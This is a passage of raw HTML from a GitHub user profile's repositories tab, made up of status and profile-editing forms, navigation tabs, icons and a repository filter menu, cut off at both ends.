01-.715-.657l-.014-.02-.005-.006-.002-.003v-.002h-.001l.613-.432-.614.43a.75.75 0 01.183-1.044h.001z"></path></svg> </div> </div> <div class=" user-status-message-wrapper f6 min-width-0" style="line-height: 20px;" > <div class="css-truncate css-truncate-target width-fit color-fg-default text-left"> <span class="color-fg-muted">Set status</span> </div> </div> </div> </summary> <details-dialog class="rounded-2 anim-fade-in fast Box Box--overlay overflow-visible" role="dialog" aria-label="Edit status" tabindex="-1"> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="position-relative flex-auto js-user-status-form" data-turbo="false" action="/users/status?circle=0&amp;compact=1&amp;link_mentions=1&amp;truncate=0" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off" /><input type="hidden" name="authenticity_token" value="SOdH-f-2peym7Q5DQYTnVoMgrDIwG-wMjYJooZiAkyQkC6sIkVioHpU1s8tn_vGqcjbr0GZliczVQor675CAcg" /> <div class="Box-header color-bg-subtle border-bottom p-3"> <button class="Box-btn-octicon js-toggle-user-status-edit btn-octicon float-right" type="reset" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg> </button> <h3 class="Box-title f5 text-bold color-fg-default">Edit status</h3> </div> <input type="hidden" name="emoji" class="js-user-status-emoji-field" value=""> <input type="hidden" name="organization_id" class="js-user-status-org-id-field" value=""> <div class="px-3 py-2 color-fg-default"> <div class="js-characters-remaining-container position-relative mt-2"> <div class="input-group d-table form-group my-0 js-user-status-form-group"> <span class="input-group-button d-table-cell v-align-middle" style="width: 1%"> <button aria-label="Choose an emoji" type="button" data-view-component="true" class="js-toggle-user-status-emoji-picker btn-outline btn p-0"> <span class="js-user-status-original-emoji" hidden></span> <span class="js-user-status-custom-emoji"></span> <span class="js-user-status-no-emoji-icon" > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-smiley"> <path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM5 8a1 1 0 100-2 1 1 0 000 2zm7-1a1 1 0 11-2 0 1 1 0 012 0zM5.32 9.636a.75.75 0 011.038.175l.007.009c.103.118.22.222.35.31.264.178.683.37 1.285.37.602 0 1.02-.192 1.285-.371.13-.088.247-.192.35-.31l.007-.008a.75.75 0 111.222.87l-.614-.431c.614.43.614.431.613.431v.001l-.001.002-.002.003-.005.007-.014.019a1.984 1.984 0 01-.184.213c-.16.166-.338.316-.53.445-.63.418-1.37.638-2.127.629-.946 0-1.652-.308-2.126-.63a3.32 3.32 0 01-.715-.657l-.014-.02-.005-.006-.002-.003v-.002h-.001l.613-.432-.614.43a.75.75 0 01.183-1.044h.001z"></path> </svg> </span> </button> </span> <text-expander keys=": @" data-mention-url="/autocomplete/user-suggestions" data-emoji-url="/autocomplete/emoji"> <input type="text" autocomplete="off" data-no-org-url="/autocomplete/user-suggestions" data-org-url="/suggestions?mention_suggester=1" data-maxlength="80" class="d-table-cell width-full form-control js-user-status-message-field js-characters-remaining-field" placeholder="What's happening?" name="message" value="" aria-label="What is your current status?"> </text-expander> <div class="error">Could not update your status, please try again.</div> </div> <div style="margin-left: 53px" class="my-1 text-small label-characters-remaining js-characters-remaining" data-suffix="remaining" hidden> 80 remaining </div> </div> <include-fragment class="js-user-status-emoji-picker" data-url="/users/status/emoji"></include-fragment> <div class="overflow-auto ml-n3 mr-n3 px-3 border-bottom" style="max-height: 33vh"> <div class="user-status-suggestions js-user-status-suggestions collapsed overflow-hidden"> <h4 class="f6 text-normal my-3">Suggestions:</h4> <div class="mx-3 mt-2 clearfix"> <div class="float-left col-6"> <button type="button" value=":palm_tree:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="palm_tree" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f334.png">🌴</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> On vacation </div> </button> <button type="button" value=":face_with_thermometer:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="face_with_thermometer" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f912.png">🤒</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> Out sick </div> </button> </div> <div class="float-left col-6"> <button type="button" value=":house:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="house" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f3e0.png">🏠</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> Working from home </div> </button> <button type="button" value=":dart:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="dart" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f3af.png">🎯</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> Focusing </div> </button> </div> </div> </div> <div class="user-status-limited-availability-container"> <div class="form-checkbox my-0"> <input type="checkbox" name="limited_availability" value="1" class="js-user-status-limited-availability-checkbox" data-default-message="I may be slow to respond." aria-describedby="limited-availability-help-text-truncate-false-compact-true" id="limited-availability-truncate-false-compact-true"> <label class="d-block f5 color-fg-default mb-1" for="limited-availability-truncate-false-compact-true"> Busy </label> <p class="note" id="limited-availability-help-text-truncate-false-compact-true"> When others mention you, assign you, or request your review, GitHub will let them know that you have limited availability. </p> </div> </div> </div> <div class="d-inline-block f5 mr-2 pt-3 pb-2" > <div class="d-inline-block mr-1"> Clear status </div> <details class="js-user-status-expire-drop-down f6 dropdown details-reset details-overlay d-inline-block mr-2"> <summary aria-haspopup="true" data-view-component="true" class="btn-sm btn v-align-baseline"> <div class="js-user-status-expiration-interval-selected d-inline-block v-align-baseline"> Never </div> <div class="dropdown-caret"></div> </summary> <ul class="dropdown-menu dropdown-menu-se pl-0 overflow-auto" style="width: 220px; max-height: 15.5em"> <li> <button type="button" class="btn-link dropdown-item js-user-status-expire-button ws-normal" title="Never"> <span class="d-inline-block text-bold mb-1">Never</span> <div class="f6 lh-condensed">Keep this status until you clear your status or edit your status.</div> </button> </li> <li class="dropdown-divider" role="none"></li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="in 30 minutes" value="2022-06-07T21:44:33-07:00"> in 30 minutes </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="in 1 hour" value="2022-06-07T22:14:33-07:00"> in 1 hour </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="in 4 hours" value="2022-06-08T01:14:33-07:00"> in 4 hours </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="today" value="2022-06-07T23:59:59-07:00"> today </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="this week" value="2022-06-12T23:59:59-07:00"> this week </button> </li> </ul> </details> <input class="js-user-status-expiration-date-input" type="hidden" name="expires_at" value=""> </div> <include-fragment class="js-user-status-org-picker" data-url="/users/status/organizations"></include-fragment> </div> <div class="d-flex flex-items-center flex-justify-between p-3 border-top"> <button type="submit" disabled class="width-full btn btn-primary mr-2 js-user-status-submit"> Set status </button> <button type="button" disabled class="width-full js-clear-user-status-button btn ml-2 "> Clear status </button> </div> </form> </details-dialog> </details> </div> </div> <div class="d-flex flex-column"> <div class="flex-order-1 flex-md-order-none"> <div class="d-flex flex-lg-row flex-md-column"> </div> <!-- '"` --><!-- </textarea></xmp> --></option></form><form hidden="hidden" class="position-relative flex-auto js-profile-editable-form" data-turbo="false" action="/users/chikitang" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off" /><input type="hidden" name="authenticity_token" value="iwkVToBnjXFFdNjInjG45Uav3_DZUvm96ztLPa7SIYzz2alJxKqJKkcLPLY81dLs-VRRaZXtdnzRx1yISU3dcQ" /> <div class="mb-1 mb-2"> <label for="user_profile_name" class="d-block mb-1">Name</label> <input class="width-full form-control" id="user_profile_name" placeholder="Name" aria-label="Name" name="user[profile_name]" value=""> </div> <div class="js-length-limited-input-container"> <label for="user_profile_bio" class="d-block mb-1">Bio</label> <text-expander keys=": @" data-emoji-url="/autocomplete/emoji" data-mention-url="/autocomplete/user-suggestions"> <textarea class="form-control js-length-limited-input mb-1 width-full js-user-profile-bio-edit" id="user_profile_bio" name="user[profile_bio]" placeholder="Add a bio" aria-label="Add a bio" rows="3" data-input-max-length="160" data-warning-text="{{remaining}} remaining"></textarea> <div class="d-none js-length-limited-input-warning user-profile-bio-message text-right m-0"></div> </text-expander> <p class="note"> You can <strong>@mention</strong> other users and organizations to link to them. </p> </div> <div class="color-fg-muted mt-2 d-flex flex-items-center"> <svg style="width: 16px;" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-organization"> <path fill-rule="evenodd" d="M1.5 14.25c0 .138.112.25.25.25H4v-1.25a.75.75 0 01.75-.75h2.5a.75.75 0 01.75.75v1.25h2.25a.25.25 0 00.25-.25V1.75a.25.25 0 00-.25-.25h-8.5a.25.25 0 00-.25.25v12.5zM1.75 16A1.75 1.75 0 010 14.25V1.75C0 .784.784 0 1.75 0h8.5C11.216 0 12 .784 12 1.75v12.5c0 .085-.006.168-.018.25h2.268a.25.25 0 00.25-.25V8.285a.25.25 0 00-.111-.208l-1.055-.703a.75.75 0 11.832-1.248l1.055.703c.487.325.779.871.779 1.456v5.965A1.75 1.75 0 0114.25 16h-3.5a.75.75 0 01-.197-.026c-.099.017-.2.026-.303.026h-3a.75.75 0 01-.75-.75V14h-1v1.25a.75.75 0 01-.75.75h-3zM3 3.75A.75.75 0 013.75 3h.5a.75.75 0 010 1.5h-.5A.75.75 0 013 3.75zM3.75 6a.75.75 0 000 1.5h.5a.75.75 0 000-1.5h-.5zM3 9.75A.75.75 0 013.75 9h.5a.75.75 0 010 1.5h-.5A.75.75 0 013 9.75zM7.75 9a.75.75 0 000 1.5h.5a.75.75 0 000-1.5h-.5zM7 6.75A.75.75 0 017.75 6h.5a.75.75 0 010 1.5h-.5A.75.75 0 017 6.75zM7.75 3a.75.75 0 000 1.5h.5a.75.75 0 000-1.5h-.5z"></path> </svg> <input class="ml-2 form-control flex-auto input-sm" placeholder="Company" aria-label="Company" name="user[profile_company]" value=""> </div> <div class="color-fg-muted mt-2 d-flex flex-items-center"> <svg style="width: 16px;" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-location"> <path fill-rule="evenodd" d="M11.536 3.464a5 5 0 010 7.072L8 14.07l-3.536-3.535a5 5 0 117.072-7.072v.001zm1.06 8.132a6.5 6.5 0 10-9.192 0l3.535 3.536a1.5 1.5 0 002.122 0l3.535-3.536zM8 9a2 2 0 100-4 2 2 0 000 4z"></path> </svg> <input class="ml-2 form-control flex-auto input-sm" placeholder="Location" aria-label="Location" name="user[profile_location]" value=""> </div> <div class="color-fg-muted mt-2 d-flex flex-items-center"> <svg style="width: 16px;" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link"> <path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path> </svg> <input class="ml-2 form-control flex-auto input-sm" placeholder="Website" aria-label="Website" name="user[profile_blog]" value=""> </div> <div class="color-fg-muted mt-2 d-flex flex-items-center" > <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 273.5 222.3" height="16" width="16"><title>Twitter</title><path d="M273.5 26.3a109.77 109.77 0 0 1-32.2 8.8 56.07 56.07 0 0 0 24.7-31 113.39 113.39 0 0 1-35.7 13.6 56.1 56.1 0 0 0-97 38.4 54 54 0 0 0 1.5 12.8A159.68 159.68 0 0 1 19.1 10.3a56.12 56.12 0 0 0 17.4 74.9 56.06 56.06 0 0 1-25.4-7v.7a56.11 56.11 0 0 0 45 55 55.65 55.65 0 0 1-14.8 2 62.39 62.39 0 0 1-10.6-1 56.24 56.24 0 0 0 52.4 39 112.87 112.87 0 0 1-69.7 24 119 119 0 0 1-13.4-.8 158.83 158.83 0 0 0 86 25.2c103.2 0 159.6-85.5 159.6-159.6 0-2.4-.1-4.9-.2-7.3a114.25 114.25 0 0 0 28.1-29.1" fill="currentColor"></path></svg> <input class="ml-2 form-control flex-auto input-sm" placeholder="Twitter username" aria-label="Twitter username" name="user[profile_twitter_username]" value="" > </div> <div class="my-3"> <div class="js-profile-editable-error color-fg-danger my-3"></div> <button type="submit" data-view-component="true" class="btn-primary btn-sm btn"> Save </button> <button type="reset" data-view-component="true" class="js-profile-editable-cancel btn-sm btn"> Cancel </button> </div> </form> </div> <div class="js-profile-editable-area d-flex flex-column d-md-block"> <div class="p-note user-profile-bio mb-3 js-user-profile-bio f4" data-bio-text="" hidden></div> <div class="mb-3"> <button name="button" type="button" class="btn btn-block js-profile-editable-edit-button" data-hydro-click="{&quot;event_type&quot;:&quot;user_profile.click&quot;,&quot;payload&quot;:{&quot;profile_user_id&quot;:107093285,&quot;target&quot;:&quot;INLINE_EDIT_BUTTON&quot;,&quot;user_id&quot;:107093285,&quot;originating_url&quot;:&quot;https://github.com/chikitang?tab=repositories&quot;}}" data-hydro-click-hmac="61c43523f3cefbffa175f42d94926965a2c009a1d69d82f4bd8aee8c11a19dc8">Edit profile</button> </div> <ul class="vcard-details"> <li title="Member since" class="vcard-detail pt-1 css-truncate css-truncate-target "><svg class="octicon octicon-clock" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zm.5 4.75a.75.75 0 00-1.5 0v3.5a.75.75 0 00.471.696l2.5 1a.75.75 0 00.557-1.392L8.5 7.742V4.75z"></path></svg> <span class="join-label">Joined </span> <relative-time datetime="2022-06-08T03:50:24Z" class="no-wrap">Jun 7, 2022</relative-time> </li> </ul> </div> </div> </div> </div> </div> <div data-view-component="true" class="Layout-main"> <div class="UnderlineNav user-profile-nav d-block d-md-none position-sticky top-0 pl-3 ml-n3 mr-n3 pr-3 color-bg-default" style="z-index:3;" > <nav class="UnderlineNav-body width-full p-responsive" data-pjax aria-label="User profile"> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{&quot;event_type&quot;:&quot;user_profile.click&quot;,&quot;payload&quot;:{&quot;profile_user_id&quot;:107093285,&quot;target&quot;:&quot;TAB_OVERVIEW&quot;,&quot;user_id&quot;:107093285,&quot;originating_url&quot;:&quot;https://github.com/chikitang?tab=repositories&quot;}}" data-hydro-click-hmac="5d370149c21205ec5db1b16999e0832e303dc0e8216fdfcad467e4d739ba5bd2" data-tab-item="overview" href="/chikitang"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M0 1.75A.75.75 0 01.75 1h4.253c1.227 0 2.317.59 3 1.501A3.744 3.744 0 0111.006 1h4.245a.75.75 0 01.75.75v10.5a.75.75 0 01-.75.75h-4.507a2.25 2.25 0 00-1.591.659l-.622.621a.75.75 0 01-1.06 0l-.622-.621A2.25 2.25 0 005.258 13H.75a.75.75 0 01-.75-.75V1.75zm8.755 3a2.25 2.25 0 012.25-2.25H14.5v9h-3.757c-.71 0-1.4.201-1.992.572l.004-7.322zm-1.504 7.324l.004-5.073-.002-2.253A2.25 2.25 0 005.003 2.5H1.5v9h3.757a3.75 3.75 0 011.994.574z"></path> </svg> Overview </a> <a aria-current="page" class="UnderlineNav-item js-responsive-underlinenav-item selected" data-hydro-click="{&quot;event_type&quot;:&quot;user_profile.click&quot;,&quot;payload&quot;:{&quot;profile_user_id&quot;:107093285,&quot;target&quot;:&quot;TAB_REPOSITORIES&quot;,&quot;user_id&quot;:107093285,&quot;originating_url&quot;:&quot;https://github.com/chikitang?tab=repositories&quot;}}" data-hydro-click-hmac="2878152d02a2613d43b03e73899fd932cdc33dbf741606f59108073a3be3d53e" data-tab-item="repositories" href="/chikitang?tab=repositories"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> Repositories <span title="1" data-view-component="true" class="Counter">1</span> </a> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{&quot;event_type&quot;:&quot;user_profile.click&quot;,&quot;payload&quot;:{&quot;profile_user_id&quot;:107093285,&quot;target&quot;:&quot;TAB_PROJECTS&quot;,&quot;user_id&quot;:107093285,&quot;originating_url&quot;:&quot;https://github.com/chikitang?tab=repositories&quot;}}" data-hydro-click-hmac="998a9967a41db96a06d41fa60e83ae993072d339981cb58ccbd2a1e8c28b8173" data-tab-item="projects" href="/chikitang?tab=projects&amp;type=beta"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v3.585a.746.746 0 010 .83v8.085A1.75 1.75 0 0114.25 16H6.309a.748.748 0 01-1.118 0H1.75A1.75 1.75 0 010 14.25V6.165a.746.746 0 010-.83V1.75zM1.5 6.5v7.75c0 .138.112.25.25.25H5v-8H1.5zM5 5H1.5V1.75a.25.25 0 01.25-.25H5V5zm1.5 1.5v8h7.75a.25.25 0 00.25-.25V6.5h-8zm8-1.5h-8V1.5h7.75a.25.25 0 01.25.25V5z"></path> </svg> Projects <span title="0" hidden="hidden" data-view-component="true" class="Counter">0</span> </a> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{&quot;event_type&quot;:&quot;user_profile.click&quot;,&quot;payload&quot;:{&quot;profile_user_id&quot;:107093285,&quot;target&quot;:&quot;TAB_PACKAGES&quot;,&quot;user_id&quot;:107093285,&quot;originating_url&quot;:&quot;https://github.com/chikitang?tab=repositories&quot;}}" data-hydro-click-hmac="add7fd6f4f8f617c23b86cea0dd89fef5bd1ea5fe415b3492401e9a613d417be" data-tab-item="packages" href="/chikitang?tab=packages"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-package UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M8.878.392a1.75 1.75 0 00-1.756 0l-5.25 3.045A1.75 1.75 0 001 4.951v6.098c0 .624.332 1.2.872 1.514l5.25 3.045a1.75 1.75 0 001.756 0l5.25-3.045c.54-.313.872-.89.872-1.514V4.951c0-.624-.332-1.2-.872-1.514L8.878.392zM7.875 1.69a.25.25 0 01.25 0l4.63 2.685L8 7.133 3.245 4.375l4.63-2.685zM2.5 5.677v5.372c0 .09.047.171.125.216l4.625 2.683V8.432L2.5 5.677zm6.25 8.271l4.625-2.683a.25.25 0 00.125-.216V5.677L8.75 8.432v5.516z"></path> </svg> Packages <span title="0" hidden="hidden" data-view-component="true" class="Counter">0</span> </a> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{&quot;event_type&quot;:&quot;user_profile.click&quot;,&quot;payload&quot;:{&quot;profile_user_id&quot;:107093285,&quot;target&quot;:&quot;TAB_STARS&quot;,&quot;user_id&quot;:107093285,&quot;originating_url&quot;:&quot;https://github.com/chikitang?tab=repositories&quot;}}" data-hydro-click-hmac="9b1d942d1e97482fca652be20f1a0bdf7aadf6379f10093c52d87921e2fc4d38" data-tab-item="stars" href="/chikitang?tab=stars"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"></path> </svg> Stars <span title="0" hidden="hidden" data-view-component="true" class="Counter">0</span> </a> </nav> <div class="position-absolute pr-3 pr-md-4 pr-lg-5 right-0 js-responsive-underlinenav-overflow" style="visibility: hidden"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM1.5 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zm13 0a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path> </svg> <span class="sr-only">More</span> </div> </summary> <div data-view-component="true"> <details-menu role="menu" class="dropdown-menu dropdown-menu-sw"> <ul > <li data-menu-item="overview" hidden> <a role="menuitem" class="js-selected-navigation-item selected dropdown-item" aria-current="page" data-selected-links=" /chikitang" href="/chikitang">Overview</a> </li> <li data-menu-item="repositories" hidden> <a role="menuitem" class="js-selected-navigation-item selected dropdown-item" aria-current="page" data-selected-links=" /chikitang?tab=repositories" href="/chikitang?tab=repositories">Repositories</a> </li> <li data-menu-item="projects" hidden> <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links=" /chikitang?tab=projects&amp;type=beta" href="/chikitang?tab=projects&amp;type=beta">Projects</a> </li> <li data-menu-item="packages" hidden> <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links=" /chikitang?tab=packages" href="/chikitang?tab=packages">Packages</a> </li> <li data-menu-item="stars" hidden> <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links=" /chikitang?tab=stars" href="/chikitang?tab=stars">Stars</a> </li> </ul> </details-menu> </div> </details></div> </div> <div> <div class="position-relative"> <div class="border-bottom color-border-muted py-3"> <a href="/new" class="d-md-none btn btn-primary d-flex flex-items-center flex-justify-center width-full mb-4"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo mr-1"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> New </a> <div class="d-flex flex-items-start"> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="width-full" data-autosearch-results-container="user-repositories-list" aria-label="Repositories" role="search" data-turbo="false" action="/chikitang" accept-charset="UTF-8" method="get"> <div class="d-flex flex-column flex-lg-row flex-auto"> <div class="mb-1 mb-md-0 mr-md-3 flex-auto"> <input type="hidden" name="tab" value="repositories"> <input type="search" id="your-repos-filter" name="q" class="form-control width-full" placeholder="Find a repository&hellip;" autocomplete="off" aria-label="Find a repository&hellip;" value="" data-throttled-autosubmit> </div> <div class="d-flex flex-wrap"> <details class="details-reset details-overlay position-relative mt-1 mt-lg-0 mr-1" id="type-options"> <summary aria-haspopup="true" data-view-component="true" class="btn"> <span>Type</span> <span class="d-none" data-menu-button> All </span> <span class="dropdown-caret"></span> </summary> <details-menu class="SelectMenu right-lg-0"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span class="SelectMenu-title">Select type</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="type-options"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg></button> </header> <div class="SelectMenu-list"> <label class="SelectMenu-item" role="menuitemradio" aria-checked="true" tabindex="0"> <input type="radio" name="type" id="type_" value="" hidden="hidden" data-autosubmit="true" checked="checked" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>All</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="type" id="type_public" value="public" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Public</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="type" id="type_private" value="private" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Private</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="type" id="type_source" value="source" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Sources</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="type" id="type_fork" value="fork" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 